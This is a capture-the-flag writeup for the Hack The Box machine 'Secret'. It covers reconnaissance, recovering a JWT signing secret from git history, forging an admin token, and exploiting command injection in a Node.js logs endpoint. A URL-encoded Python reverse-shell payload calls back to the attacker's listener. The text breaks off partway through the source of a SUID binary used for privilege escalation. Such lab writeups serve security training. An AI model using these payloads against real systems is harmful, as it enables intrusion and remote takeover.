Writeup for the easy ranked HTB box Secret
This writeup describes how I approached the box Secret from Hack The Box (https://www.hackthebox.eu). The box is based on Linux and it is rated easy. Tools and techniques used in this hack are Nmap, Dirb, Ffuf, Firefox, Burpsuite, Curl, Javascript, Git, JSon and JWT.
My style of writeups is to describe how I was thinking when attacking them. My personal opinion is that I learn from analysing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it´s best to look elsewhere. :)
My environment for this hack is an old Mac Book with Kali Linux 2021.3 and Docker. I use Docker to great extent and try to keep most stuff inside containers. But to avoid too much confusing portmapping I often start my http.servers and Netcat listeners on the host machine in bash. That´s just the way i approach things, keep an eye on that promt to know where I am! ;)
It´s also worth mentioning that we attacked this box as team working together 6 people from Cybix (Christian, Eric, Emil, Johan, Ulf and Carl).
Recon
So what information can we gather about the box before even starting. The name of the box is Secret. When I started an instance of the box on the VIP network it got ip-address 10.129.250.252. The box is based on Linux and it’s rated easy.
This is how Hack The Box announced it on Twitter:
“First rule of #hacking club: you do not talk about hacking club Zipper-mouth face Secret #Easy #Linux Machine created by z9fr will go live 30 Oct 2021 at 19:00:00. Explore will be retired! Join now: https://hackthebox.eu”
That’s about everything we know about the box, so lets get going.
Scanning
Scanning network with Nmap
First of all let´s use Nmap to check what ports are open on the ip-address that we have and what services that run behind them.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ sudo nmap -T4 -sV -sC -A 10.129.250.252
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-04 14:55 CET
Nmap scan report for 10.129.250.252
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=11/4%OT=22%CT=1%CU=35477%PV=Y%DS=2%DC=T%G=Y%TM=6183E65
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 41.71 ms 10.10.14.1
2 38.94 ms 10.129.250.252
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.03 seconds
It seems we hav an Nginx http-server on port 80, there’s a NodeJS application with Express middleware on port 3000 and OpenSSH on port 22.
Scanning for subdomains with ffuf
Let´s see if we can find any subdomains using the ffuf tool.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.129.250.252 -H 'Host: FUZZ.secret.htb' -fs 12872
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.129.250.252
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.secret.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 12872
________________________________________________
:: Progress: [114441/114441] :: Job [1/1] :: 826 req/sec :: Duration: [0:02:46] :: Errors: 0 ::
No, we did not find any subdomains, so let´s leave that for now.
Scanning http-server for vulnerabilities with Nikto
Let´s do a vulnerability scan of the Nginx http-server and the NojeJS application.
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ nikto -h http://10.129.250.252
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.129.250.252
+ Target Hostname: 10.129.250.252
+ Target Port: 80
+ Start Time: 2021-11-04 15:05:56 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7916 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2021-11-04 15:11:55 (GMT1) (359 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (nginx/1.18.0) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to [email protected]) (y/n)? n
Nothing of interest was found while scanning Nginx on port 80.
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ nikto -h http://10.129.250.252:3000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.129.250.252
+ Target Hostname: 10.129.250.252
+ Target Port: 3000
+ Start Time: 2021-11-04 15:16:59 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7918 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2021-11-04 15:23:08 (GMT1) (369 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
And nothing of interest was found scanning the NodeJS application on port 3000.
Scanning http-server for content with DIRB
Let´s scan the Nginx http-server for content using dirb.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ dirb http://10.129.250.252
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Nov 4 15:03:12 2021
URL_BASE: http://10.129.250.252/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.129.250.252/ ----
+ http://10.129.250.252/api (CODE:200|SIZE:93)
+ http://10.129.250.252/assets (CODE:301|SIZE:179)
+ http://10.129.250.252/docs (CODE:200|SIZE:20720)
+ http://10.129.250.252/download (CODE:301|SIZE:183)
-----------------
END_TIME: Thu Nov 4 15:06:33 2021
DOWNLOADED: 4612 - FOUND: 4
Ok, we found few endpoint but nothing that interesting. While we are at it, let´s scan the NodeJS application running och port 3000 aswell.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/hack-the-box]
└─$ dirb http://10.129.250.252:3000
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Nov 4 15:08:01 2021
URL_BASE: http://10.129.250.252:3000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.129.250.252:3000/ ----
+ http://10.129.250.252:3000/api (CODE:200|SIZE:93)
+ http://10.129.250.252:3000/assets (CODE:301|SIZE:179)
+ http://10.129.250.252:3000/docs (CODE:200|SIZE:20720)
+ http://10.129.250.252:3000/download (CODE:301|SIZE:183)
-----------------
END_TIME: Thu Nov 4 15:11:17 2021
DOWNLOADED: 4612 - FOUND: 4
After scanning both port 80 and port 3000 it pretty much looks like it´s the same application exposed on both ports but with Nginx as a front on port 80. At least we found the same endpoints at both places.
Manual inspection of the site
Let´s check out the site in Firefox.
Let’s use curl and diff to verify what we suspect, that it’s the same application on port 80 and 3000.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads]
└─$ curl http://10.129.250.252 > index.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12872 100 12872 0 0 155k 0 --:--:-- --:--:-- --:--:-- 155k
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads]
└─$ curl http://10.129.250.252:3000 > index2.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12872 100 12872 0 0 157k 0 --:--:-- --:--:-- --:--:-- 157k
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads]
└─$ diff index.html index2.html
Yes there is absolutley no diff between the html that we get on the different ports. Let´s asume that it´s the same application behind both ports for now. Now let´s dig deeper into the site.
In the bottom of the page we find a button that let´s us download some source code. let´s download it and see what it is.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads]
└─$ unzip files.zip
Archive: files.zip
creating: local-web/
creating: local-web/node_modules/
creating: local-web/node_modules/get-stream/
inflating: local-web/node_modules/get-stream/buffer-stream.js
inflating: local-web/node_modules/get-stream/index.js
inflating: local-web/node_modules/get-stream/license
inflating: local-web/node_modules/get-stream/package.json
inflating: local-web/node_modules/get-stream/readme.md
creating: local-web/node_modules/end-of-stream/
inflating: local-web/node_modules/end-of-stream/index.js
inflating: local-web/node_modules/end-of-stream/package.json
inflating: local-web/node_modules/end-of-stream/README.md
inflating: local-web/node_modules/end-of-stream/LICENSE
...
...
...
That´s a LOT of files. Looking at the structure of it that’s a NodeJS application. There’s a node_module directore present and a package.json and so on. But scrolling through the list of files and directories that was uncompressed we find this:
creating: local-web/.git/
extracting: local-web/.git/HEAD
inflating: local-web/.git/description
creating: local-web/.git/branches/
creating: local-web/.git/logs/
inflating: local-web/.git/logs/HEAD
creating: local-web/.git/logs/refs/
creating: local-web/.git/logs/refs/heads/
inflating: local-web/.git/logs/refs/heads/master
creating: local-web/.git/objects/
creating: local-web/.git/objects/e4/
extracting: local-web/.git/objects/e4/76d6e89fc72d655ea5bce9a7f1864726107f89
extracting: local-web/.git/objects/e4/2f1158656b01ca982f470ca5eb78d524992d6b
extracting: local-web/.git/objects/e4/6549dec8a4bb451e4104f230f7f84ba746d7c0
extracting: local-web/.git/objects/e4/4f53c7a6ba0e7d6aae5cfec41119712bf472c6
extracting: local-web/.git/objects/e4/66760b3718d831c4036a39a6cbc67fcc475af8
extracting: local-web/.git/objects/e4/2800b59ffe5d17fb355d3d7d71a3bf98e0d6bd
extracting: local-web/.git/objects/e4/f3d05ba3477be74d89cbf092523cb2d6dd900f
It actually looks like we got a complete git repository here. But before examinig that further, let´s start to play around some more with the site to see if we can gain some access.
Gaining Access
Register a user and get a valid JWT
There´s actually documentation about how to use the api that the NodeJS application exposes to register a user and login.
We can´t really see where this is leading right now but it seems like a good thing to start poking around and see if there´s something we can abuse. So let´s follow the instructions and try to register a new user using curl.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X POST http://10.129.250.252:3000/api/user/register -H 'Content-Type: application/json' -d '{"name":"hacker","email":"[email protected]","password":"abc123"}'
{"user":"hacker"}
According to the documentation on the site that is the correct reply if registration is successfull. Now let´s checkout how to login.
That does not seem so hard. If we are successfull we should get an jwt that we can use for further authentication. Let´s try that.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X POST http://10.129.250.252:3000/api/user/login -H 'Content-Type: application/json' -d '{"email":"[email protected]","password":"abc123"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoiaGFja2VyIiwiZW1haWwiOiJoYWNrZXJAY3liaXguc2UiLCJpYXQiOjE2MzYwMzgyNjZ9.hzkN0EDN1qB-4u0PQ8aVfcOS2XNmql9LxxVLNcwYBa4
That seems to work aswell. So now we have JWT for a user that we registered. Further down on the page there ar instructions of how to access a private route using the JWT. Let´s try it.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X GET http://10.129.250.252:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoiaGFja2VyIiwiZW1haWwiOiJoYWNrZXJAY3liaXguc2UiLCJpYXQiOjE2MzYwMzg4MDF9.nfjVUhmStrGDd2ql2r2g4O5cMx2dkcpesXc0IoghYqE '
{"role":{"role":"you are normal user","desc":"hacker"}}
Yes our JWT works, now it´s time to read some sourcecode and see if we can find something interesting that we can do with it.
Reading the source code
First of all let´s take a look at the structure.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ ls
index.js node_modules package-lock.json routes validations.js
model package.json public src
It´s a classic NodeJS application with express. While reading the different javascripts we find one that is interesting (routes/private.js).
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
Reading through that code it seems like we can get administrator rights if we manage to change the username to “theadmin”. It does not seem that we can do much fun with it but it´s worth examining further. To be able to get a JWT token for a user called “theadmin” we need to change the JWT we got and sign it again with the secret key. Let´s see if we can find that in the source code.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ grep -R TOKEN
public/assets/plugins/gumshoe/.github/main.workflow: secrets = ["NPM_AUTH_TOKEN"]
node_modules/nodemon/.travis.yml: - if [ "$TRAVIS_PULL_REQUEST_BRANCH" == "" ]; then echo "//registry.npmjs.org/:_authToken=\${NPM_TOKEN}" >> .npmrc; fi
node_modules/mongodb/lib/core/auth/mongodb_aws.js: const token = credentials.mechanismProperties.AWS_SESSION_TOKEN;
node_modules/mongodb/lib/core/auth/mongodb_aws.js: AWS_SESSION_TOKEN: creds.Token
node_modules/mongodb/lib/core/auth/mongo_credentials.js: if (!this.mechanismProperties.AWS_SESSION_TOKEN && process.env.AWS_SESSION_TOKEN) {
node_modules/mongodb/lib/core/auth/mongo_credentials.js: this.mechanismProperties.AWS_SESSION_TOKEN = process.env.AWS_SESSION_TOKEN;
...
...
...
node_modules/content-type/index.js:var TOKEN_REGEXP = /^[!#$%&'*+.^_`|~0-9A-Za-z-]+$/
node_modules/content-type/index.js: if (!TOKEN_REGEXP.test(param)) {
node_modules/content-type/index.js: if (TOKEN_REGEXP.test(str)) {
node_modules/got/readme.md: key: process.env.ACCESS_TOKEN,
node_modules/got/readme.md: secret: process.env.ACCESS_TOKEN_SECRET
.env:TOKEN_SECRET = secret
routes/verifytoken.js: const verified = jwt.verify(token, process.env.TOKEN_SECRET);
routes/auth.js: const token = jw
We get a lot of hits but in the end we find .env:TOKEN_SECRET = secret
It’s not very likley that the secret is “secret” so at this point we scratched our heads for a while until we realised that this is a git repository. There could be other revisions to check out.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
(END)
Aha, removed .env for security reasons
that´s promising let´s get a revison before that was removed, how about the first commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ git checkout 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Note: switching to '55fe756a29268f9b4e786ae468952ca4a8df1bd8'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at 55fe756 first commit
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
YES!!! We have the secret. Now we should be able to use jwt.io to parse our JWT, change the username to “theadmin” and use the secret to sign it so that it´s valid. Let´s go to https://jwt.io.
We paste in out token. Change the name from hacker to theadmin and paste our secret into the field that says your-256-bit-secret. And then we have a new JWT that we can copy and use.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X GET http://10.129.250.252:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Hallelujah!!! We are authenticated as admin. But what can we actually do with it? At this point we struggled a bit and tried using the JWT via Burpsuite to see if any new stuff would show up on the web page. But there was nothing.
So we decided to dig some more into the git repository. Perhaps some other revisions show us some clues.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD, master)
Author: dasithsv <[email protected]>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
if (name == 'theadmin'){
res.json({
- role:{
-
- role:"you are admin",
- desc : "{flag will be here}"
+ creds:{
+ role:"admin",
+ username:"theadmin",
+ desc : "welcome back admin,"
}
})
}
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
}
})
}
+})
+
+router.get('/logs', verifytoken, (req, res) => {
+ const file = req.query.file;
+ const userinfo = { name: req.user }
+ const name = userinfo.name.name;
+
+ if (name == 'theadmin'){
+ const getLogs = `git log --oneline ${file}`;
+ exec(getLogs, (err , output) =>{
+ if(err){
+ res.status(500).send(err);
+ return
+ }
+ res.json(output);
+ })
+ }
+ else{
+ res.json({
+ role: {
+ role: "you are normal user",
+ desc: userinfo.name.name
+ }
+ })
+ }
})
router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
});
-module.exports = router
\ No newline at end of file
+module.exports = router
(END)
BINGO!!! There´s another endpoint called logs that responds to get requests. And there’s a call to exec that obviously is vulnerable to injection.
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
This is our target we need to call the logs endpoint using our admin JWT and inject some code into $FILE.
Building a payload to get RCE
All we need to do is using a semicolong to spawn another command right after the hardcoded git command. We want it too execute this:
git log --oneline .; whoami
Let´s build and deliver our payload.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X GET "http://10.129.250.252:3000/api/logs?file=.;%20whoami" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n"
YES, we got ourselves RCE. dasith\n
it seems as whoami returned the username dasith. A username that we have seen before in the git logs.
Now we struggled a little bit again. We tried several different reverse shells for bash. But at last we ended up having success using one for python3 that we generated using https://www.revshells.com/
Let´s start a listener using netcat.
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ nc -lvp 1337
listening on [any] 1337 ...
Deliver our reverse shell payload.
┌──(f1rstr3am㉿mullugutherum)-[~/Downloads/local-web]
└─$ curl -X GET "http://10.129.250.252:3000/api/logs?file=.;%20export%20RHOST=%2210.10.14.48%22;export%20RPORT=1337;python3%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)'" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
And…
┌──(f1rstr3am㉿mullugutherum)-[~]
└─$ nc -lvp 1337
listening on [any] 1337 ...
10.129.250.252: inverse host lookup failed: Unknown host
connect to [10.10.14.48] from (UNKNOWN) [10.129.250.252] 38482
$ whoami
whoami
dasith
$ cd ~
cd ~
$ cat user.txt
cat user.txt
deadbeefdeadbeefdeadbeefdeadbeef
$
YES, we have our reverse shell. We are the user dasith and we got ourselves a user flag for our foothold
Privilege escalation to root / Administrator
First thing we should check is always if we have any priveliged commands using sudo -l. Though we do not have dasith:s password so we can´t do that. At this time we uploaded linpeas.sh from https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS and run it. We did not find anything interesting and struggled for quite some time.
We actually stumbled into an interesting file just by chance after an hour or so. It turns out that linpeas does not look for files with the SUID flag everywhere as you could expect. What we should have done is this:
$ find . -perm /4000 2>/dev/null
find . -perm /4000 2>/dev/null
./usr/bin/pkexec
./usr/bin/sudo
./usr/bin/fusermount
./usr/bin/umount
./usr/bin/mount
./usr/bin/gpasswd
./usr/bin/su
./usr/bin/passwd
./usr/bin/chfn
./usr/bin/newgrp
./usr/bin/chsh
./usr/lib/snapd/snap-confine
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/openssh/ssh-keysign
./usr/lib/eject/dmcrypt-get-device
./usr/lib/policykit-1/polkit-agent-helper-1
./opt/count
./snap/snapd/13640/usr/lib/snapd/snap-confine
./snap/snapd/13170/usr/lib/snapd/snap-confine
./snap/core20/1169/usr/bin/chfn
./snap/core20/1169/usr/bin/chsh
./snap/core20/1169/usr/bin/gpasswd
./snap/core20/1169/usr/bin/mount
./snap/core20/1169/usr/bin/newgrp
./snap/core20/1169/usr/bin/passwd
./snap/core20/1169/usr/bin/su
./snap/core20/1169/usr/bin/sudo
./snap/core20/1169/usr/bin/umount
./snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core20/1169/usr/lib/openssh/ssh-keysign
./snap/core18/2128/bin/mount
./snap/core18/2128/bin/ping
./snap/core18/2128/bin/su
./snap/core18/2128/bin/umount
./snap/core18/2128/usr/bin/chfn
./snap/core18/2128/usr/bin/chsh
./snap/core18/2128/usr/bin/gpasswd
./snap/core18/2128/usr/bin/newgrp
./snap/core18/2128/usr/bin/passwd
./snap/core18/2128/usr/bin/sudo
./snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core18/2128/usr/lib/openssh/ssh-keysign
./snap/core18/1944/bin/mount
./snap/core18/1944/bin/ping
./snap/core18/1944/bin/su
./snap/core18/1944/bin/umount
./snap/core18/1944/usr/bin/chfn
./snap/core18/1944/usr/bin/chsh
./snap/core18/1944/usr/bin/gpasswd
./snap/core18/1944/usr/bin/newgrp
./snap/core18/1944/usr/bin/passwd
./snap/core18/1944/usr/bin/sudo
./snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
./snap/core18/1944/usr/lib/openssh/ssh-keysign
What stands out in that list is ./opt/count
what is that?
$ cd /opt
cd /opt
$ ls -la
ls -la
total 56
drwxr-xr-x 2 root root 4096 Oct 7 10:06 .
drwxr-xr-x 20 root root 4096 Oct 7 15:01 ..
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
Aha, we have an executable with the suid bit set and it seems we also have the source code for it.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
